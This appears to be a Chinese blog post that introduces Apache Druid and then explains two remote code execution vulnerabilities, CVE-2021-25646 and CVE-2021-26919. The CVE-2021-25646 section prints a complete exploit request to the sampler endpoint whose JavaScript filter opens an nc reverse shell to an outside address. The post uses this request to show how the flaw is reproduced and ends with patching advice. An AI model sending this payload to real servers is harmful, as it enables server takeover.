网络安全:Apache Druid 安全漏洞

Apache Druid 是一款专为实时分析高并发查询设计的开源分布式数据存储系统,核心定位是解决"海量数据下的低延迟查询"问题。

你关注 Druid 很有眼光,它在实时数据看板、用户行为分析、监控告警等场景中表现突出,是大数据生态里重要的 OLAP(联机分析处理)工具。

Druid 的核心特性

  1. 混合数据摄入:同时支持实时流数据(如 Kafka)和批量数据(如 HDFS、S3)的导入,数据写入后可立即被查询。
  2. 亚秒级查询响应:通过预聚合(Rollup)、列式存储和分区索引等优化,即使面对 PB 级数据,复杂聚合查询也能在毫秒到秒级返回结果。
  3. 高可靠性与扩展性:采用分布式架构,支持水平扩展,单个集群可轻松处理每秒数十万条数据的写入和数千次查询请求。
  4. 原生 SQL 支持:兼容标准 SQL,降低使用门槛,同时也支持 JSON 格式的查询语言,适配不同技术栈需求。

Druid 的典型应用场景

  • 实时业务监控:如电商平台的实时成交看板、APP 的实时活跃用户统计。
  • 用户行为分析:分析用户在产品内的点击、浏览、购买等行为,支撑精细化运营。
  • 日志与指标分析:处理服务器、应用程序的日志数据,或监控系统的 metrics 指标,快速定位问题。
  • 广告与营销分析:实时统计广告曝光、点击、转化数据,优化投放策略。

Druid 与同类工具的关键区别

为了更清晰地理解其定位,以下是它与两种常见工具的对比:

特性 Apache Druid Apache Spark SQL ClickHouse
核心定位 实时 OLAP,低延迟查询 通用计算引擎,支持批处理与流处理 列存 OLAP,高性能批处理查询
查询延迟 亚秒级 - 秒级 秒级 - 分钟级 毫秒级 - 秒级
预聚合能力 原生支持(Rollup) 需手动实现 支持(Aggregation MergeTree)
适用场景 实时看板、高并发查询 复杂 ETL、批量分析 大规模批处理分析、日志分析

要不要我帮你整理一份 Apache Druid 快速部署指南?包含单机版和分布式集群的基础配置步骤,方便你快速上手体验它的查询性能。


Apache Druid 远程代码执行漏洞

Apache Druid远程代码执行漏洞是指在特定版本的Druid中,攻击者可以通过构造恶意请求,使Druid执行任意代码,从而控制服务器。以下是对该漏洞的详细介绍:

  • CVE-2021-25646

    • 漏洞发现:2021年1月17号,阿里云安全@Litch1向Apache官方报告了该漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646。

    • 影响版本:Apache Druid 0.20.0及以前的版本。

    • 漏洞原理:Apache Druid提供了JavaScript引擎用来扩展功能,该功能默认是禁用的。但在Druid 0.20.0及以前版本中,攻击者可以构造包含恶意JavaScript代码的POST请求,发送至Druid服务端的/druid/indexer/v1/sampler接口,绕过JavaScript功能的配置检查,使内置引擎解析恶意JavaScript代码,调用java.lang.Runtime.getRuntime().exec()方法执行恶意系统命令,实现远程代码执行。

    • 漏洞复现:攻击者可以构造类似如下的请求包,通过发送该请求包到目标Druid服务器,即可执行其中的JavaScript代码,实现反弹shell等恶意操作。

      POST /druid/indexer/v1/sampler HTTP/1.1
      Host: 192.168.10.1:8888
      Content-Type: application/json
      Content-Length: 1005
      {
      "type": "index",
      "spec": {
      "ioConfig": {
      "type": "index",
      "inputSource": {
      "type": "inline",
      "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"
      },
      "inputFormat": {
      "type": "json",
      "keepNullColumns": true
      }
      },
      "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
      "column": "timestamp",
      "format": "iso"
      },
      "dimensionsSpec": {},
      "transformSpec": {
      "transforms": (),
      "filter": {
      "type": "javascript",
      "dimension": "added",
      "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}",
      "": {
      "enabled": true
      }
      }
      }
      },
      "type": "index",
      "tuningConfig": {
      "type": "index"
      }
      },
      "samplerConfig": {
      "numRows": 500,
      "timeoutMs": 15000
      }
      }

  • CVE-2021-26919

    • 漏洞发现:2021年3月29日,Apache官方发布安全公告,公开了该漏洞,其CVE编号为CVE-2021-26919。
    • 影响版本:Apache Druid 0.20.1及以前的版本。
    • 漏洞原理:Druid使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务,但由于Apache Druid默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。

为防范此类漏洞,建议用户及时将Apache Druid升级到最新的安全版本,同时限制非信任设备对Druid服务的访问。

相关推荐
人良爱编程10 小时前
Hugo的Stack主题配置记录03-背景虚化-导航栏-Apache ECharts创建地图
前端·javascript·apache·echarts·css3·html5
JoySSLLian16 小时前
手把手教你安装免费SSL证书(附宝塔/Nginx/Apache配置教程)
网络·人工智能·网络协议·tcp/ip·nginx·apache·ssl
Apache Flink17 小时前
Apache Flink Agents 0.2.0 发布公告
大数据·flink·apache
枷锁—sha19 小时前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann11921 小时前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~1 天前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix
fendouweiqian1 天前
AWS WAF(配合 CloudFront)基础防护配置:免费能做什么、要不要开日志、如何限制危险方法
网络安全·aws·cloudfront